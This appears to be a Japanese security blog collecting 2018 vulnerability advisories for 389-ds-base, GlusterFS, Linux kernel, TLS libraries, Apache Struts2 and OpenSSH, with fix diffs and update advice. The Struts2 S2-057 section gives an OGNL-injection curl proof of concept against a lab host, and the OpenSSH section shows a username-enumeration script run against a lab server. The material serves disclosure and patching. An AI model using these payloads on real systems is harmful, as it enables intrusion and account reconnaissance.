389-ds-baseの脆弱性情報(CVE-2018-14624)


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09/06/2018に、389-ds-baseに関して脆弱性の情報(CVE-2018-14624)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面です。

09/06/2018に、389-ds-baseに関して脆弱性の情報(CVE-2018-14624)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Moderate

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

    https://pagure.io/389-ds-base/issue/49937

    • 非常に大きいDNの変更を送り続けることによるDoS(slapdクラッシュ)の可能性
    • 重要度 – Moderate
    • 1.4.0.16\1.3.8.8\1.3.7.0以前のバージョンの389-ds-baseでは、log__error_emergency()中でログファイルを新たに開いた際に、エラーログのロック制御がきちんと行われていませんでした。攻撃者はこれを悪用して、非常に大きいDNの変更を送り続けることでDoS(slapdクラッシュ)を引き起こすことが出来る可能性があります。

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

また、OSの再起動が発生しますので、peacemakerなどOSSのクラスタ製品を使うとサービス断の時間を最小限にすることが出来ます。

[参考]

https://pagure.io/389-ds-base/issue/49937

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セミナー情報 1

2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

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セミナー情報 2

2018年09月20日に、「情シス必見!手間なく使えるOffice365向けセキュリティ対策」と題しまして、Office365を含むクラウドセキュリティのセミナーを開催します。

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GlusterFSのセキュリティアドバイザリ(RHSA-2018:2607, RHSA-2018:2608)と複数の脆弱性情報(CVE-2018-10904, CVE-2018-10907, CVE-2018-10923, CVE-2018-10926, CVE-2018-10927, CVE-2018-10928, CVE-2018-10929, CVE-2018-10930, CVE-2018-10911, CVE-2018-10914, CVE-2018-10913)


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09/05/2018にGlusterFSのセキュリティアドバイザリ(RHSA-2018:2607, RHSA-2018:2608)と複数の脆弱性情報(CVE-2018-10904, CVE-2018-10907, CVE-2018-10923, CVE-2018-10926, CVE-2018-10927, CVE-2018-10928, CVE-2018-10929, CVE-2018-10930, CVE-2018-10911, CVE-2018-10914, CVE-2018-10913)が公開されました。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。glus

09/05/2018にGlusterFSのセキュリティアドバイザリ(RHSA-2018:2607, RHSA-2018:2608)と複数の脆弱性情報(CVE-2018-10904, CVE-2018-10907, CVE-2018-10923, CVE-2018-10926, CVE-2018-10927, CVE-2018-10928, CVE-2018-10929, CVE-2018-10930, CVE-2018-10911, CVE-2018-10914, CVE-2018-10913)が公開されました。今回はこれらの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Important

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10904
    • 攻撃者によるファイル作成と任意のコード実行の可能性
    • 重要度 – Important
    • glusterfsサーバが”debug/io-stats”トランスレータによって使用される”trusted.io-stats-dump”拡張属性のファイルパスのサニタイズを完全に行っていませんでした。攻撃者はこれを利用してファイルを作成し任意のコードを実行することが出来ます。これを悪用するためには、攻撃者はgluster volumeのファイルの拡張属性を変更できるアクセス権限が必要になります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10907
    • 攻撃者によるクラッシュとコード実行の可能性
    • 重要度 – Important
    • glusterfsサーバは、server-rpc-fopc.cが”alloca(3)”を用いた固定サイズのバッファーをアロケートしているため、複数のスタックベースのバッファーオーバーフローが発生する可能性が有ります。認証された攻撃者はこれを悪用して、gluster volumeをマウントして固定バッファーサイズ長以上の文字列を送り込むことにより、サーバをクラッシュさせたりコードを実行することが出来る可能性が有ります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10923
    • glusterfsにアタッチされているデバイス上のデータ読み込みの可能性
    • 重要度 – Important
    • mknod(2)から発生する”mknod”がglusterfsサーバnode上のデバイスをポイントしているファイルを作成できるという問題が見つかりました。認証された攻撃者はこれを利用して、glusterfsサーバnodeにアタッチされている任意のデバイス上からデータを読み込む事が出来る可能性があります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10926
    • glusterfsにアタッチされているデバイス上のデータ読み込みの可能性
    • 重要度 – Important
    • glusterfsサーバにサポートされているgfs3_mknod_reqを用いたRPCリクエストに問題が見つかりました。認証された攻撃者はこの脆弱性を利用して、glusterfsサーバnode上の任意のロケーションにパストラバーサルをして任意のコードを実行できる可能性が有ります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10927
    • glusterfs上のデータリークとDoS(gluster brickプロセスのクラッシュ)の可能性
    • 重要度 – Important
    • glusterfsサーバにサポートされているgfs3_lookup_reqを用いたRPCリクエストに問題が見つかりました。認証された攻撃者はこの脆弱性を利用して、情報をリークさせたり、gluster brick プロセスをクラッシュさせることによるDoSを実行できる可能性が有ります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10928
    • glusterfsサーバnode上の任意のサーバへのsymlink作成とコード実行の可能性
    • 重要度 – Important
    • glusterfsサーバでgfs3_symlink_reqをもちいたRPCリクエストに、gluster volumeの外部のファイルパスをsymlinkの宛先として指定できるという問題が見つかりました。認証された攻撃者はこの脆弱性を利用して、glusterfsサーバnode上の任意のサーバをsymlinkの宛先として作成し、任意のコードをglusterfsサーバ上で実行させる事が出来る可能性があります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10929
    • glusterfsサーバnodeへのファイル作成と任意のコード実行の可能性
    • 重要度 – Important
    • glusterfsサーバでのgfs2_create_reqを用いたRPCリクエストに問題が見つかりました。認証された攻撃者はこの脆弱性を利用して、glusterfsサーバnodeにファイルを作成し、任意のコードを実行できる可能性が有ります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10930
    • gluster volume以外への書き込みの可能性
    • 重要度 – Important
    • glusterfsサーバにサポートされているgfs3_rename_reqを用いたRPCリクエストに問題が見つかりました。認証された攻撃者はこの脆弱性を利用して、gluster volume以外への書き込みが出来る可能性が有ります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10911
    • 他のロケーションのメモリ読み込みの可能性
    • 重要度 – Moderate
    • glusterfsのdict.c:dict_unserialize()関数に問題が有り、dic_unserialize()関数が負の長さのキーをきちんとハンドルしていませんでした。攻撃者はこれを用いて、他のロケーションからメモリを読み込むことが出来る可能性があります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10914
    • gluster volume以外への書き込みの可能性
    • 重要度 – Moderate
    • 攻撃者がxattrリクエストをglusterfsFUSEに投げることにより、gluster brickプロセスをクラッシュすることが出来、リモートのDoSに繋がります。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10913
    • 人のファイルへのxattrリクエストが可能になる問題
    • 重要度 – Low
    • glusterfsサーバに情報漏えいの問題が見つかりました。攻撃者はglusterfs FUSEを通したxattrリクエストを任意のファイルに行うことが出来る可能性があります。

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

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[参考]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10904

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セミナー情報 1

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Linux Kernelの脆弱性情報(CVE-2018-6554, CVE-2018-6555)


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09/05/2018にLinux Kernelの脆弱性情報(CVE-2018-6554, CVE-2018-6555)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


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09/05/2018にLinux Kernelの脆弱性情報(CVE-2018-6554, CVE-2018-6555)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Moderate

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6554
    • ローカルユーザによるDoS(メモリ消費)の可能性
    • 重要度 – Moderate
    • 4.17以前のLinux Kernelのdrivers/staging/irda/net/af_irda.c中のirda_bind()関数にメモリリークの問題が有りました。ローカルの攻撃者は、これを利用してAF_IRDAソケットのバインディングを繰り返し行うことでDoS(メモリ消費)を引き起こすことができる可能性が有ります。
    • この問題の修正は以下になります。
      
      diff --git a/drivers/staging/irda/net/af_irda.c b/drivers/staging/irda/net/af_irda.c
      index 23fa7c8b09a5..a08cd3dd7a6e 100644
      --- a/drivers/staging/irda/net/af_irda.c
      +++ b/drivers/staging/irda/net/af_irda.c
      @@ -775,6 +775,13 @@ static int irda_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
       		return -EINVAL;
       
       	lock_sock(sk);
      +
      +	/* Ensure that the socket is not already bound */
      +	if (self->ias_obj) {
      +		err = -EINVAL;
      +		goto out;
      +	}
      +
       #ifdef CONFIG_IRDA_ULTRA
       	/* Special care for Ultra sockets */
       	if ((sk->sk_type == SOCK_DGRAM) &&
      
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6555
    • ローカルユーザによるDoS(use-after-freeとシステムのクラッシュ)の可能性
    • 重要度 – Moderate
    • 4.17以前のLinux Kernelのdrivers/staging/irda/net/af_irda.cとnet/irda/af_irda.c中のirda_setsockopt()関数に問題がが有りました。ローカルの攻撃者は、これを利用してAF_IRDAソケットを通じてDoS(use-after-freeとシステムのクラッシュ)を引き起こすことができる可能性が有ります。
    • この問題の修正は以下になります。
      
      
      diff --git a/net/irda/af_irda.c b/net/irda/af_irda.c
      index 82e632b2c5a1..7cc9db38e1b6 100644
      --- a/net/irda/af_irda.c
      +++ b/net/irda/af_irda.c
      @@ -2027,7 +2027,11 @@ static int irda_setsockopt(struct socket *sock, int level, int optname,
       			err = -EINVAL;
       			goto out;
       		}
      -		irias_insert_object(ias_obj);
      +
      +		/* Only insert newly allocated objects */
      +		if (free_ias)
      +			irias_insert_object(ias_obj);
      +
       		kfree(ias_opt);
       		break;
       	case IRLMP_IAS_DEL:
      


対処方法

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Linux Kernelの脆弱性情報(CVE-2018-16276)


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08/31/2018にLinux Kernelの脆弱性情報(CVE-2018-16276)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


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08/31/2018にLinux Kernelの脆弱性情報(CVE-2018-16276)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Moderate

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16276
    • ローカルユーザによるカーネルクラッシュ又は特権昇格の可能性
    • 重要度 – Moderate
    • 4.17.7以前のLinux Kernelのdrivers/usb/misc/yurex.c中のyurex_read()の境界チェックに問題が見つかりました。ローカルの攻撃者はこれを悪用することで、カーネルをクラッシュさせたり、特権昇格ができる可能性が有ります。
    • この問題の修正は以下になります。
      
      diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c
      index 8abb6cbbd98a..3be40eaa1ac9 100644
      --- a/drivers/usb/misc/yurex.c
      +++ b/drivers/usb/misc/yurex.c
      @@ -396,8 +396,7 @@ static ssize_t yurex_read(struct file *file, char __user *buffer, size_t count,
       			  loff_t *ppos)
       {
       	struct usb_yurex *dev;
      -	int retval = 0;
      -	int bytes_read = 0;
      +	int len = 0;
       	char in_buffer[20];
       	unsigned long flags;
       
      @@ -405,26 +404,16 @@ static ssize_t yurex_read(struct file *file, char __user *buffer, size_t count,
       
       	mutex_lock(&dev->io_mutex);
       	if (!dev->interface) {		/* already disconnected */
      -		retval = -ENODEV;
      -		goto exit;
      +		mutex_unlock(&dev->io_mutex);
      +		return -ENODEV;
       	}
       
       	spin_lock_irqsave(&dev->lock, flags);
      -	bytes_read = snprintf(in_buffer, 20, "%lld\n", dev->bbu);
      +	len = snprintf(in_buffer, 20, "%lld\n", dev->bbu);
       	spin_unlock_irqrestore(&dev->lock, flags);
      -
      -	if (*ppos < bytes_read) {
      -		if (copy_to_user(buffer, in_buffer + *ppos, bytes_read - *ppos))
      -			retval = -EFAULT;
      -		else {
      -			retval = bytes_read - *ppos;
      -			*ppos += bytes_read;
      -		}
      -	}
      -
      -exit:
       	mutex_unlock(&dev->io_mutex);
      -	return retval;
      +
      +	return simple_read_from_buffer(buffer, count, ppos, in_buffer, len);
       }
       
       static ssize_t yurex_write(struct file *file, const char __user *user_buffer,
      

主なディストリビューションの対応方法

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Linux Kernelの脆弱性(CVE-2018-14619)


近日中にこちらのコンテンツの内容はhttps://security.sios.comに移行されます。



08/28/2018にLinux Kernelの脆弱性情報(CVE-2018-14619)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こちらのサイトはoss.sios.comの引越し先が整理される前の仮の場所になります。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

08/28/2018にLinux Kernelの脆弱性情報(CVE-2018-14619)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Important

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14619
    • ローカルユーザによるマシンのクラッシュや特権昇格の可能性
    • 重要度 – Important
    • Linux Kernelのcryptoサブシステムに”null skcipher”が間違った場所にあるという問題から来る脆弱性が見つかりました。これはnull skcipherを使用中にも関わらずfreeにしてしまう可能性が有るというものです。この脆弱性を利用してローカルユーザはマシンをクラッシュさせたり、メモリ競合を起こすことにより特権昇格が出来る可能性が有ります。
    • この問題の修正は以下になります。
      
      diff --git a/crypto/algif_aead.c b/crypto/algif_aead.c
      index aacae0837aff..9d73be28cf01 100644
      --- a/crypto/algif_aead.c
      +++ b/crypto/algif_aead.c
      @@ -487,6 +487,7 @@ static void aead_release(void *private)
       	struct aead_tfm *tfm = private;
       
       	crypto_free_aead(tfm->aead);
      +	crypto_put_default_null_skcipher2();
       	kfree(tfm);
       }
       
      @@ -519,7 +520,6 @@ static void aead_sock_destruct(struct sock *sk)
       	unsigned int ivlen = crypto_aead_ivsize(tfm);
       
       	af_alg_pull_tsgl(sk, ctx->used, NULL, 0);
      -	crypto_put_default_null_skcipher2();
       	sock_kzfree_s(sk, ctx->iv, ivlen);
       	sock_kfree_s(sk, ctx, ctx->len);
       	af_alg_release_parent(sk);
      

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

また、OSの再起動が発生しますので、peacemakerなどOSSのクラスタ製品やLifeKeeperなどの商用のクラスタリング製品を使うとサービス断の時間を最小限にすることが出来ます。

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セミナー情報 1

2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

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Linux Kernelの脆弱性(CVE-2018-10938)


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08/27/2018にLinux Kernelの脆弱性情報(CVE-2018-10938)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こちらのサイトはoss.sios.comの引越し先が整理される前の仮の場所になります。

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

08/27/2018にLinux Kernelの脆弱性情報(CVE-2018-10938)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Moderate

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10938
    • リモートユーザによるDoSの可能性
    • 重要度 – Moderate
    • 4.0-rc1から4.13-rc4までのLinux Kernelに脆弱性が見つかりました。リモートの攻撃者は細工したネットワークパケットを送ることにより、net/ipv4/cipso_ipv4.cのcipso_v4_optptr()関数で無限ループを発生させて、DoSを引き起こすことができる可能性が有ります。

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

また、OSの再起動が発生しますので、peacemakerなどOSSのクラスタ製品を使うとサービス断の時間を最小限にすることが出来ます。

セキュリティ系連載案内


セミナー情報 1

2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

https://www.iwsec.org/ows/2018/index.htmlにプログラム内容と一般論文申し込みの詳細を載せていきますので、是非御確認下さい(ページは更新中です)。

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Linux Kernelの脆弱性情報(CVE-2018-10902)


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08/23/2018にLinux Kernelの脆弱性情報(CVE-2018-10902)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


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08/23/2018にLinux Kernelの脆弱性情報(CVE-2018-10902)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。



Priority

Important

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10902
    • ローカルユーザの権限昇格の可能性
    • 重要度 – Important
    • Linux Kernelでmidiドライバーが同時アクセスから完全に保護されていないことがわかりました。これにより、rawmidi.cファイル中のsnd_rawmidi_ioctl()ハンドラの一部であるsnd_rawmidi_input_params()とsnd_rawmidi_output_status()でdouble realloc(double free)が発生します。悪意のあるローカルユーザは、これを利用して権限を昇格できる可能性が有ります。

主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

また、OSの再起動が発生しますので、peacemakerなどOSSのクラスタ製品を使うとサービス断の時間を最小限にすることが出来ます。

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複数のTLS実装でのLucky 13攻撃に対しての修正に問題(Amazon s2n, wolfSSL, mbed TLS(CVE-2018-0497), GnuTLS(CVE-2018-10844, CVE-2018-10845, CVE-2018-10846))


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08/16/2018に国際暗号学会(IACR)の論文で”Pseudo Constant Time Implementations of TLS Are Only Pseudo Secure”という内容の論文が公開されました。これによると、複数のTLS実装で、過去のLucky 13攻撃に対しての修正にバグがあり、Lucky 13と同様の手法により平文を回復させることが可能になるという事です。それに伴い、複数のTLS実装で脆弱性情報の公開と修正情報が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。


こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

08/16/2018に国際暗号学会(IACR)の論文で“Pseudo Constant Time Implementations of TLS Are Only Pseudo Secure”という内容の論文が公開されました。これによると、複数のTLS実装で、過去のLucky 13攻撃に対しての修正にバグがあり、Lucky 13と同様の手法により平文を回復させることが可能になるという事です。それに伴い、複数のTLS実装で脆弱性情報の公開と修正情報が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。

情報が未だ錯綜していますので、逐次情報は更新していく予定です。


Priority

Medium/Moderate


修正方法

各ディストリビューションの情報を確認してください。

脆弱性概要(詳細は一次情報源のサイトをご確認ください)


影響する暗号化ライブラリ

以下のライブラリに影響が出るようです。詳細は一次情報源を確認ください。

Amazon s2n, wolfSSL, mbed TLS(CVE-2018-0497), GnuTLS(CVE-2018-10844, CVE-2018-10845, CVE-2018-10846)


主なディストリビューションの対応状況

詳細は、各ディストリビューションの提供元にご確認ください


  • Debian

  • Red Hat Enterprise Linux/CentOS

  • Ubuntu

  • SUSE/openSUSE


  • 対処方法

    各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

    また、サービスの再起動が発生する場合には、peacemakerなどOSSのクラスタ製品やLifeKeeperなどの商用のクラスタリング製品を使うとサービス断の時間を最小限にすることが出来ます。

    セキュリティ系連載案内


    セミナー情報 1

    2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

    https://www.iwsec.org/ows/2018/index.htmlにプログラム内容と一般論文申し込みの詳細を載せていきますので、是非御確認下さい(ページは更新中です)。

    OSSに関するお困りごとは サイオス OSSよろず相談室まで

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    Apache Struts2にリモートコード実行(RCE)の脆弱性(S2-057 : CVE-2018-11776)


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    08/22/2018にApache Struts2にリモートコード実行(RCE)の脆弱性(S2-057 : CVE-2018-11776)が報告されてます。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。情報は逐次更新します。
    (08/28/2018 更新:既にPoCコードも出回っていますので早急な対応が必要です)


    こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

    08/22/2018にApache Struts2にリモートコード実行(RCE)の脆弱性(S2-057 : CVE-2018-11776)が報告されてます。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。情報は逐次更新します。

    (08/28/2018 更新:既にPoCコードも出回っていますので早急な対応が必要です)

    (08/28/2018 追記:脆弱性からOGNL形式で実行するには”alwaysSelectFullNamespace”を”True”にしてあげる必要があるようです。)


    Priority

    Critical

    PoC

    struts.xmlファイル内で

    constant name="struts.mapper.alwaysSelectFullNamespace" value="true"

    としてから、actionタグを指定して脆弱な状態にすると、リモートのcurlを用いて

    ~/PoC/Struts_S2-057-CVE-2018-11776$ curl -v 'http://172.16.148.130:8080/struts2_2.5.16-showcase/$%7b4%2b2%7d/help.action'
    *   Trying 172.16.148.130...
    * TCP_NODELAY set
    * Connected to 172.16.148.130 (172.16.148.130) port 8080 (#0)
    > GET /struts2_2.5.16-showcase/$%7b4%2b2%7d/help.action HTTP/1.1
    > Host: 172.16.148.130:8080
    > User-Agent: curl/7.52.1
    > Accept: */*
    > 
    < HTTP/1.1 302 Found
    < Server: Apache-Coyote/1.1
    < Location: /struts2_2.5.16-showcase/6/date.action
    < Content-Language: ja-JP
    < Content-Length: 0
    < Date: Tue, 28 Aug 2018 09:49:29 GMT
    

    のように、${4+2}を計算した値の"6"

    < Location: /struts2_2.5.16-showcase/6/date.action
    

    と表示されます。後は適宜OGNL式を作るとリモートでコードが実行できます。

    修正方法

    Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。

    CVE概要(詳細はCVEのサイトをご確認ください)

    • S2-057 (CVE-2018-11776)
      • リモートでのコード実行(RCE)の脆弱性

        重要度 - Critical

        影響範囲 : Struts 2.3 - 2.3.34 / Struts 2.5 - Struts 2.5.16

        修正バージョン : Struts 2.3 - 2.3.34 / Struts 2.5 - Struts 2.5.16

        ネームスペースが無い結果を用いると同時に、上位アクションにもネームスペースが無い/またはワイルドカードを用いている時に、リモートでのコード実行(RCE)を引き起こす可能性がある脆弱性があります。


    主なディストリビューションの情報


    対処方法

    各情報を入手して検討し、適切にアップデートを行ってください。

    [参考]

    https://cwiki.apache.org/confluence/display/WW/S2-057


    セミナー情報 1

    2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

    https://www.iwsec.org/ows/2018/index.htmlにプログラム内容と一般論文申し込みの詳細を載せていきますので、是非御確認下さい(ページは更新中です)。

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    OSSに関するお困りごとは サイオス OSSよろず相談室まで

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    OpenSSHの脆弱性情報(CVE-2018-15473 , CVE-2018-15919)


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    08/14/2018にOpenSSHの脆弱性情報(CVE-2018-15473)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。(08/29追記: 別の要因から来る同様の脆弱性(CVE-2018-15919)も出ていますので追加しました。)


    こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

    08/14/2018にOpenSSHの脆弱性情報(CVE-2018-15473)が公開されています。今回はこの脆弱性の概要と、各ディストリビューションの対応について簡単にまとめてみます。

    (08/29追記: 別の要因から来る同様の脆弱性(CVE-2018-15919)も出ていますので追加しました。)



    Priority

    Low

    修正方法

    各ディストリビューションの情報を確認してください。

    CVE概要(詳細はCVEのサイトをご確認ください)

    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15473
      • リモートからのユーザ名列挙(Username Enumeration)の可能性

        重要度 – Low

        OpenSSHでSSHユーザのユーザ名列挙(SSH Username Enumeration)の脆弱性が見つかりました。ユーザ名が存在しない/存在していても/etc/ssh/sshd_configの設定で明示的にSSHを弾いているユーザの場合(/etc/passwdでnologinやfalseを指定しているものという意味ではないです)には、SSH接続へのレスポンスとしてSSH2_MSG_USERAUTH_FAILUREを送るため、これを利用してどんな(SSH可能な)ユーザ名が存在するかを列挙することが出来ます。

    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15919
      • リモートからのユーザ名列挙(Username Enumeration)の可能性

        重要度 – Low

        OpenSSHでSSHユーザのユーザ名列挙(SSH Username Enumeration)の脆弱性が見つかりました。auth-gss2.cに問題が有り、GSSを使っている場合には、どんな(SSH可能な)ユーザ名が存在するかを列挙することが出来ます。

    脆弱性の確認(CVE-2018-15473)

    既にCVE-2018-15473のExploitコードが出ています。Ubuntu 16.04で確認した所

    
    - localhost: 攻撃マシン
    - 172.16.148.128: 攻撃対象OpenSSHサーバ(VMWareのリモート)。
    
    sios@localhost:~/PoC/OpenSSH_User$ ./ssh-check-username.py 172.16.148.128 root
    [+] Valid username
    sios@localhost:~/PoC/OpenSSH_User$ ./ssh-check-username.py 172.16.148.128 noexistuser 
    [*] Invalid username
    sios@localhost:~/PoC/OpenSSH_User$ ./ssh-check-username.py 172.16.148.128 existuser
    [+] Valid username
    

    のように、リモートからユーザが存在するか否かがわかります。



    対処方法

    各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteやKatello、Spacewalk等を使うと管理が便利でしょう。

    また、サービスの再起動が発生しますので、peacemakerなどOSSのクラスタ製品を使うとサービス断の時間を最小限にすることが出来ます。

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    セミナー情報 1

    2018年10月22日から10月25日のCSS(Computer Security Symposium)2018で、「OSSセキュリティ技術ワークショップ(OWS) 2018特別セッション」 と題しまして、OSSセキュリティ技術の会後援で特別セッションを開催します。

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